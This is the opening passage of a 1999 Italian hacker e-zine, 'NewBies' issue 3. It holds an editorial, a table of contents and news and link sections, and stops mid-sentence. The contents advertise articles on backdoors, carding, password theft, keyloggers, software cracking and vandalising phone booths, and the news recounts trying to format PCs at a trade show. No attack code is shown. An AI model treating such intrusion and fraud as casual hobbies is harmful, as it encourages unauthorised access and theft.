@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@ | _ _ ____ _ | | | \ | | _____ _| __ )(_) ___ ___ | -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+: | |\ | __/\ V V /| |_) | | __|__ \ : | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | @-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@ NEW BIES (num 3) (data 07/05/99) [ powered By ZeroCool and N0bodY88 ] DISCLAIMER LEGALE -----------------------------------------------------------------------------IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88 of NewBies Staff -----------------------------------------------------------------------------PREMESSA ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ INTRODUZIONE: Intro: Hey benvenuti al numero 3 di questa nostra e-zines io e nobo siam sempre + amici oramai e per questo lo saluto dicendo sei stramitico , saluto il mitico \Spirit\ di bfi dicendo : bfi5 mi e'piaciuto molto [l'ho letto tutto di un fiato ] , volevo farti cmq notare anche se non abbiamo fatto in tempo a dirtelo prima su NewBies 2 ci siamo anche noi completamente dissociati dall'apporre e divulgare green e per questo avevamo deciso di togliere la pagina dei green anche se tutto cio' non e' ancora stato fatto . Voglio anche farti notare che quelli esposti non erano veri e propri green ma numeri di info o altro , che cmq non servono x collegarsi a internet , cmq accetto la critica ovviamante giusta e concordo su come la pensi pienamente e colgo l'occasione per essere stato cosi'poco furbo da non toglierli subito. Colgo anche l'occasione dato che gia'molti me lo hanno fatto notare che un paio di articoli sono stati rippati completamente in NewBies 2 da testi inglesi da alcuni dei nostri collaboratori , inizio col dire che sia io che N0bodY88 non ci riteniamo responsabili per simili lamerate e che cmq chi ha fatto la cazzata di rippare e' stato immediatamente espulso dalla crew che preferisce avere 10 articoli fatti bene che 100 fatti alla cazzo . Spero di essermi fatto capire bene , credo che rippare sia scorretto soppratutto verso chi ha lavorato a un testo giungendo con il proprio lavoro a un risultato ; io sinceramente mi incazzerei come una mina se qualcuno rippasse i miei articoli [anche se non penso che meritino di essere rippati [doppiosenso scusate] ] .... Saluto tutto quelli che conosco in internet e in particolare: N0bodY88 , Ax1s , DarkSchnaider [o meglio Garo della Garofanosoft ] , \Spirit\ , Cavallo, quelli di rootsheel , i miei amici di Telstra , i miei amiconi di efnet in particolare dei canali #roms , #emu , #italia su efnet siete mitici , quelli su irc.tin.it nei canali #hackernow e #hackers , w00w00 , RaffyCrash , quelli di #emuita in particolare F{G}F , Spino , Etron e Mythos e questa volta il mio saluto va' con tutto il cuore a due persone in particolare : Kevin [liberateloooooo] e SKuZ [una persona che sa' quello che vale eppure non si va'vanta]. Raga ci si vede tutti all'Hackit99 ZeroCool Provoces the best you will die like a slave ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Í» º ARTICOLO ÌÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎ͹ AUTORE º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Í¹ |PREMESSA N0bodY88 | |INTRODUZIONE ZeroCool | |NOVITA' NewBies Staff | ³ BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW N0bodY88 ³ ³ QUALCHE LINK E QUALKE NEWS ZeroCool ³ ³ ELECTRO-RIPPER I DDT E I DIB N0bodY88 ³ ³ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! 3uC@50L ³ ³ L'ANGOLO DELLA POSTA ZeroCool ³ ³ RIEPILOGO LINK IN ORDINE ALFABETICO N0bodY88 ³ |INFO SUGLI ALLEGATI NewBies Staff | ³ 2 PAROLE SUGLI ALLEGATI N0bodY88 ³ |PROGRAMMAZIONE NewBies Staff | ³ C TUTORIAL [ TERZA PARTE ] ElectroRipper ³ ³ MIRC SCRIPTING TUTORIAL [ PRIMA PARTE ] SpYmAsTeR ³ ³ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL Master-Parsifal³ ³ PASCAL TUTORIAL [ SECONDA PARTE ] T0rment0 ³ ³ PRIMI PASSI VERSO L'ASSEMBLER [ PRIMA PARTE ] So[RD]eN ³ ³ SUGGERIMENTI PER IL VISUAL BASIC T0rment0 ³ ³ BACKDOORS FOR DUMMIES (OVVERO COME FARSI UNA BACKDOOR) ©ipLey ³ ³ PROGRAMMAZIONE DI DEMO X NINTENDO 64 ZeroCool ³ |ANARCHIA, BANCHE, BOMBE ET SIMILI NewBies Staff | ³ COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA Fusyllo ³ ³ COME HACKERARE UN COIN-OP PiNbALL ³ ³ "COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE Anonimo ³ ³ LE "FAMOSE" BOLLE MICROSOFT Dante Alighieri³ ³ W LA PESCA DI FRODO Anonymous ³ ³ W I PROF ASSENTI DA sQuola Anonymous ³ ³ L'ARTE DEL CARDING Killex ³ ³ ARRIVANO I VANDALI !!! Fusyllo ³ ³ POSTING:SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 Dante Alighieri³ ³ COME HACKERARE UNO SCOOTER PiNbALL ³ |CRACKING NewBies Staff | ³ COME CRACKARE UN PROGRAMMA Quequero ³ ³ PRINCIPI DI BASE X CRACKARE UN GIOCHINO AnArChY ³ ³ CRACKARE TELEPORT PRO 1.29 Quequero ³ ³ CRACKING, QUESTO SCONOSCIUTO SpYmAsTeR ³ ³ CRAKKIAMO AGE OF EMPIRES DeViLNeT ³ ³ UN BREVE TUTORIAL SUI GENERATORI DI CHIAVI +MaLaTTiA ³ ³ UN ESEMPIO DI DLL REVERSING -NeuRaL_NoiSE ³ ³ PE-CRYPTERS: UNO SGUARDO DA VICINO AL C.D. "FORMATO" PE Kill3xx ³ ³ MANUALE DI CRACKING S2 ³ |TEORIA NewBies Staff | ³ COME FUNZIONA NETSTAT Barninga Z ³ ³ SISTEMI OPERATIVI Frensis ³ ³ KERBEROS...IL CAGNACCIO Ulntwh99 ³ ³ GESTIRE + SCHEDE DI RETE CON WINDOWS 95 Barninga Z ³ ³ TCP/IP (QUELLO CHE ANCORA NON E' STATO DETTO) DarkSide ³ ³ NETWORK UTILITIES FOR DUMMIES Firebeam ³ ³ DALLA PARTE DEI SYSADMIN Alpha-666 ³ ³ L'ABC DELLE RETI N0bodY88 ³ ³ LA SCATOLA MAGICA GCC ³ |TRADUZIONI NewBies Staff | ³ PRESENTAZIONE Wurz ³ ³ EXPLOITS Wurz ³ ³ COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO Wurz ³ ³ LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE) Wurz ³ |INTERVISTE NewBies Staff | ³ INTERVISTA A UN HACKER - REDATTORE DI E-ZINE N0bodY88 ³ ³ INTERVISTA A UNA CREW POCO CONOSCIUTA... NonHoNome ³ |LOG DEL MESE NewBies Staff | ³ M0F0Z LAMER O HACKER ??? Kalidor ³ ³ SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO? ³ |PHREAKING | ³ ASCOLTARE LE CHIAMATE DEI CELLULARI ³ ³ SEGRETERIA DEI CELLULARI TIM ³ ³ BLUE BOX ³ ³ BOXA DI QUI, BOXA DI LA' ³ |VIRUS | ³ FILOSOFIA DEL VIRER MODERNO ³ ³ DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING ³ ³ TIPI DI VIRUS ³ ³ PEPSI5: PACCHETTI UDP A TRADIMENTO ³ ³ MACRO - VIRUS ³ |IL MONDO DI IRC | ³ COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE ³ ³ IRC NETWORKS ³ ³ INTERVISTA CON UN IRCOP ³ ³ IRC SECURITY ³ ³ NONSOLOKICK PASSWORDZ ³ ³ IL PUNTO SU IRC ³ ³ GUIDA PRATICA AL SETTAGGIO DI UN BOT Alighieri³ |HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI | ³ LO CHIAMAVANO GUEST STAR ³ ³ TRASHING.. CHE PASSIONE! ³ ³ PIEDINI CHE CASINO! ³ ³ AGGRESSOR ³ ³ GUIDA AL NETBUS 2.0 ³ ³ BREVI SAGGI DI NETWORKING SOTTO LINUX 1 ³ ³ TV HACKING E SATELLITE CRACKING ³ ³ BREVI SAGGI DI NETWORKING SOTTO LINUX 2 ³ ³ SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE) ³ ³ NAVIGHIAMO AL NETCAFE' IN ALLEGRIA ³ ³ COME CREARVI UN MENU DI BOOT PERSONALIZZATO ³ ³ COME SCAVALCARE LA PASSWORD DEL BIOS ³ ³ LA STORIA DELL'HACKING ³ ³ L'ANGOLO DEI FILM INTERESSANTI ³ ³ UNIX AIX ALLA JOHN THE RIPPER N0bodY88 NewBies Staff Fusyllo Velvet VaFfa ZeroCool NewBies Staff Caos83 ~ÑaBat½ha Quequero T0rment0 T0rment0 NewBies Staff The Sciack SpYmAsTeR SpYmAsTeR SpYmAsTeR 1-v-n0-n4m3 TetoFuck Dante NewBies Staff Cavallo HarLoK RigoR MorteM SpYmAsTeR Quequero Alpha-666 ZeroCool Alpha-666 Quequero Unlt SpYmAsTeR Yago T0rment0 N0bodY88 McFly ³ ³ ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL ZeroCool ³ ³ LISTA PORTE Dante Alighieri³ ³ NETBUS Sephiroth ³ ³ KEY LOGGER QUESTO SCONOSCIUTO Sephiroth ³ ³ OVERCLOCKING [ SECONDA PARTE ] Ulntwh99 ³ ³ ICQ EXPLOIT OVVERO COME FOTTERE LE PASS Sephiroth ³ ³ OVERCLOCK E OVERCLOCK VOODOO 1 SoftWord ³ ³ CHE ABBIANO CAPITO QUALCOSA? Ja[3]Ck ³ ³ HACKING DEI COMPUTER NETBIOSSATI Kalidor ³ ³ TRE SEMPLICI BACKDOOR HaMelIn ³ ³ CACHE DI IE...DOVE HAI MESSO IL MIO MIDI??? N0bodY88 ³ ³ SICUREZZA E LINUX [mAx] ³ ³ UNA STORIA SULLA TELEKOZZ StuZzik0&|bLeaH³ ³ AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX TetoFuck ³ ³ COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE Brusto ³ ³ TRUCCHI SU DOS Quequero ³ ³ S.A.T.A.N. Anti-social ³ ³ RADIO CHE PASSIONE Ulntwh99 ³ ³ MILANO CITTA' DI FUOCO Ulntwh99 ³ |CHEAT NewBies Staff | ³ TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B P4p31_N0 ³ |SALUTI NewBies Staff | |PARZIALE ASSENZA DI N0bodY88 N0bodY88 | |NEWBIES STAFF N0bodY88 | ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÙ ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛ°°°°°°°°² ²°°°°°°°°°°°ÛÛÛÛ°°ÛÛ°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°ÛÛ°°°°°°°Û°°°ÛÛ°°°Û°°°°°ÛÛÛ°°ÛÛ°°°°°°°°² ²°°°°°°°°°°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ²²ÛÛ°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°ÛÛÛ°ÛÛ°ÛÛÛ°°°°ÛÛ²ÛÛ°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°ÛÛÛÛ°°ÛÛ²²ÛÛ°°°°°ÛÛ°ÛÛ°°°°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti e benvenuti a questo nuovo numero di NewBies la e-zine fatta da (x la maggior parte) e x newbies. Allora le novita' di questo mese o + sono essenzialmente le seguenti, riportate in ordine alfabetico: BFI = ebbene si non ci credo ancora su BFI 5 si e' parlato di noi! Un tnx quindi a /sPIRIT/ al quale promettiamo qui sulla e-zine di non trattare + di green e al quale diciamo anke che una collaborazione con la deagostini per un corso di hacking con tanto di bb inclusa....e' una bella idea!!! Un tnx a tutto lo staff di BFI quindi che speriamo vada avanti come e meglio di Phreak. Il sito di BFI x quelle poke persone che tornano adesso da una spedizione di 2 anni al centro del polo nord, e' questo: http://softpj98.bbk.org/main.html e tanto x puntualizzare ricordiamo che BFI e Softpj NON sono la stessa cosa quindi non confondeteli, ma amateli entrambi :). AGGIORNAMENTO: se non potevo credere che su BFI si parlava di noi provate a immaginarvi cosa si prova a ricevere in mail un articolo da un certo (sconosciuto ai + =)) Cavallo de Cavallis e poi ditemi... FUTURSHOW = gruppo neonato che...ma che cax dico? Allora il futurshow sapete tutti cos'e' e se non lo sapete vi basti sapere (trovatemi uno che dica lo stesso verbo tre volte in 12 parole!) che e' un insieme di molti stand (ben 5!!!) dove ci si va a vedere le diverse radio, i vari gestori di telefonia che sono un piacere e ve lo giuro sul fatto che vado a messa ogni mattina....cmq direte voi se sto fs e' cosi' na m***a xche' ce ne stai a parlare? Allora un certo tipetto non molto conosciuto (hihihi) che in rete gira col nick RigoR MorteM ha deciso di smettere di trovarsi a scrivere con un bel po' di gente e ha avuto l'idea...e se ci si vedesse al fs in real mode? Alche' io ho chiesto ad alcuni del NewBies Staff di venire, poi si sono aggiunti altri e dai 20 che RigoR aveva in mente ci siamo trovati in 35 (o+) tra i quali vi era gente degli Spippolatori (qualcuno...) di BFI (2), del Softpj (2), degli Spaghetti Phreakers (1), e del NewBies Staff (8 se non sbaglio) quindi abbiamo passato una fantastica giornata (anke se un po' frammentati) con formattazione (o tentata tale) di qualke pc della tin, un po' di surf su cd MS con realativa bolla annessa (Dante docet) ci siamo divertiti un casino, abbiamo abbinato ai nick qualke faccia e alla fine ce ne siamo tornati a casetta propria...se volete saperne di + leggetevi la recensione di RigoR MorteM sulle sue disavventure con gli addetti microsoft riportata nel numero 5 di NetRunners che trovate anke nel formato html sul fantastico sito www.spippolatori.com... cmq una cosa la devo dire...il fs e' una....lasciamo perdere... NETRUNNERS = ebbene si' e' uscito il mitico numero 4 di NetRunners dove trovate un bel po' di materiale da inserire nei ns hd mentali ^_^ ...e mi dicono stia quasi x uscire il 5ø numero, ma...cavolo almeno non sbavate sulla stampa di NewBies! hihihi Master(C) AGGIORNAMENTO = ebbene si' e' uscito anke il numero 5 che ho potuto visionare solo x poco causa prob. miei ma come al solito, 1 tremenda maledizione si abbattera' su coloro che non la scarichera'!!! RINGZ3R0 = con questo mitico gruppo abbiamo fatto un patto straconveniente (x noi) nel senso che noi prendiamo alcuni dei loro articoli e li pubblichiamo mentre loro...si accontentano di vederli pubblicati! Sperando che dopo questo numero di NewBies non cambino sito, canale irc x la vergogna (hihihi) saluto tutti i membri, gli external con i quali, nel canakle, mi sono sentito veramente un programmatore di m3rd4 xche' non capivo un cax....hihihi. PS: il loro sito che se volete vivere dovrete visitare almeno una volta alla settimana xche' una volta visitato provoca dipendenze (ve lo giuro!) e' il seguente: http://ringzer0.cjb.net e ficcatevelo bene nei bookmark xche' se amate anke solo fare programmi alla cax [come i miei] questo e' un must! (PS: con quest'ultima frase non volevo xo' offendere i Ring0) SPAGHETTI PHREAKERS = sito raggiungibile a http://come.to/spaghettiphreakers/ dove CdP, Blum e HaRLoK guidano un gruppo che imo puo' portare a risultati mooooolto buoni, e se proprio non vi bastasse la gia' presente lista di art disponbili su cellulari, telefoni et simili, c'e' anke il famoso e mitico cookbook di avatar. Qui sulla e-zine propongo ad HaRLoK di valutare se fare entrare Dante negli Spaghetti, il xche'? Ti ricordi del suo cellulare? Si si quello che assomigliava a una cornetta di una cabina...hihihi AGGIORNAMENTO: ora ho lo stesso modello di cellulare di Dante :D ma il mio non funzia :((((( hihihi SPIPPOLATORI = x i soliti poki che non lo sanno finalmente potete andare sul sito www.spippolatori.com dove tra l'altro ci siamo anke noi di NewBies, quindi grazie a tutti gli Spippolatori, tra i quali spicca il Webmaster..chi e'? A voi l'ardua prova di indovinare! Cmq andateci spesso e se potete scaricatevelo tutto che e' + di must x qualunque hacker/phreaker/cracker/virus writer/newbies. PS: se non ci andrete entro 2 ore dall'apertura di questo txt i vs hd diventeranno buoni solo x giocarci come fresbee!!!! Da segnalare il fatto che pur avendo come webmaster una persona che lavora mooooolto [pure troppo direi!!!] il sito ogni settimana viene aggiornato con sempre nuove guide e sempre + guide e/o mirror di siti vengono addati [tanto x citarne alcuni Ring0, cookbook di Avatar, NetRunners, NewBies e molti altri vengono addati gg dopo gg quindi non esitate e andate giu' di teleport a manetta :DDD] N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ QUALCHE LINK E QUALKE NEWS ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Un poco di news generali : come al solito questa e' una delle parti che preferisco fare , qui si parla di news generali , articoli , notizie , siti e nuovi programmi e secondo me e' una buona buona parlare anche di un poco di argomenti divertenti in una ezines cosi' specialistica. Allora inizio a darvi il mio caro bookmark del mese con i miei sitazzi preferiti il mio sito under construction http://www.wajens.no/ elenco telefonico mondiale , bellissimo da vistare assolutamente http://www.zophar.net Sito di emulazione http://members.xoom.com/falconpcs/ Emulatore Saturn http://members.xoom.com/shuma_gorath/ Emulatore Saturn http://www.emuunlim.com Sito Di Emulazione http://www.moonlitcoalition.com/sunset/compat/index.html Compatibily list For SunSet [Emulatore N64] http://www.snes9x.com Emulatore SuperNintendo http://www.emucamp.com Emulazione In Generale http://www.bleem.com Emulatore PlayStation http://www.elitegamer.com Emulazione in Generale http://www.poli.studenti.to.it/ftp/pub/music/prometeo/Giapponesi/ Prometeo ftp://www.gnet1.com/pub1/roms/ Rom and More http://138.232.233.38/hitman/capcom.htm Cps1 e 2 [solo una] adress: http://perso.infonie.fr/dam07 http://www.emux.com http://www.classicgaming.com/thedump/ hem.passagen.se/ogg http://neocharity.retrogames.com http://naz.retrogames.com http://home.columbus.rr.com/apollo69 http://www.retrogames.com http://www.elitegamer.com/ http://www.hitsquad.org/ http://summer64.hitsquad.org/ Okki per me sti link sono bellissimi e riguardano in particolare l'emulazione. Faccio notare per i principianti che e' uscita una distribuzione di linuzzo denominata Mandrake , abbastanza semplice da usare ma molto pesante sul sistema a causa della gui che si chiama kde. Molte news riguardo programmi e exploit sono uscite in particolare se volete cercare exploit consiglio il solito mega sitone: www.rootshell.com e per siti / programmi nuovi il mitico astalavista Bha per linux consiglio : http://www.linuxgames.com/ per i giochi sempre aggiornato e per il resto guardate http://linux.box.sk/ troverete sempre qualcosa di aggiornato o http://www.slashdot.org/ senno' http://www.freshmeat.net/... Bon Nuit ZeroCool Provoces the best you will die like a slave ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ ELECTRO-RIPPER I DDT E I DIB ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Allora in questo spazio volevo parlarvi di due nuove e-zine che andranno ad arricchire l'underground italiano sulla rete (troppe volte sottovalutato). La prima e' gestita da ElectroRipper (uno dei ns mitici scrittori) e potete reperirla sul web o su irc chiedendo a me, a ElectroRipper o a qualcuno cmq su #hackernow di IrcNet (solo xche' non so l'url da dove scaricare la e-zine in questione, dato che appena mi arriva l'url saremo felici di comuni carvelo [ps: a me l'hanno passata se no mettevo l'url]). Il nome di questa nuova e-zine e' Vana Imago ed e' visualizzabile sotto dos/windows dato che e' in formato .exe. L'interfaccia grafica e' molto bella e non occupa neanche tanto. Io ho dato un letta agli articoli e non sembrano niente male...se poi pensate che e' solo il primo numero di una lunga serie :) vi sfregerete le mani dalla contentezza!!! L'altra e-zine che sta nascendo e' curata dai DDT (Digital Destruction Team) che potete trovare su #ddt.ita di IrcNet. Non ho visto neanche un loro articolo finora (di quelli che andranno sulla e-zine) ma conoscendo chi ci scrivera' (gente di Spaghetti, alcuni dei 7th_klan e gente preparata quali Vecna, Lord_Destruction, HaRLoK...i DDT insomma!) so gia' che ne verra' fuori una e-zine veramente niente male! Per quanto riguarda i nuovi gruppi siamo venuti a conoscenza di un nuovo gruppo formatosi da poco che va sotto il nome di DIB e che prossimamente scrivera' qualke articolo x noi :) Per adesso sappiamo solo che DIB sta per Digital Italian Bastards e che diventeranno un bel gruppo tosto (speriamo :). Non ci resta quindi che augurare un bocca al lupo x entrambe le e-zine ai nuovi gruppi quali i DIB e molti altri che si stanno formando; ci tengo a precisare che NON c'e' nessuna rivalita' [ almeno simp ] tra le varie e-zine, anzi prevale lo spirito di collaborazione, d'altra parte tutti lo facciamo per insegnare quel poco che sappiamo e x imparare di + :-) Se volete mandare una mail in cui indicate il nome della vs crew e esporci i vs obbiettivi, i requisiti x essere ammessi, potremo mettere in contatto gente che magari non gira dove girate voi, ma che cmq ha gli stessi vs interessi. E ricordate...come disse un grande...."Ci sono tre possibbilita': e' possibbole, non e' possibbole, e' IMPOSSIBBOLE!!!. " PS: se dopo avere visto le 2 e-zine direte "Che figata!!!"...be...io ve lo avevo detto :-)))) PSS: ho sentito ElectroRipper e ho l'url dal quale potete scaricarvi la sua nuova e-zine ---------------> http:/members.xoom.com/eripper/index.htm PSSS: simp = secondo il mio parere [ SpaceIce rulez :D ] Sii-iiuuu-suuunnn N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Riporto qua sotto un art. apparso sull'ultimo bollettino delle novita' di VOLftp sperando di non creare casini pubblicando un loro articolo: >Se vi siete ripresi (noi ancora no!) continuiamo con il notiziario di >questa settimana con una notizia della stampa locale (Unione Sarda) >che riporta la notizia di un ragazzo che giocando con Internet si e' >messo nei guai, concediamo al cronista l'uso del termine Hacker anche >se lo riteniamo improprio, in quanto chiunque utilizzando programmi >che si trovano facilmente sulla rete e' in grado di improvvisarvi >pirata telematico. Gli hacker sono ben altra cosa e hanno ben altre >conoscenze ed abilita'. E' il primo giornalista che vedo che lamer...ma aspettiamo x giudicare il Cmq complimenti al giornalista xche' tra chi e' spinto dalla 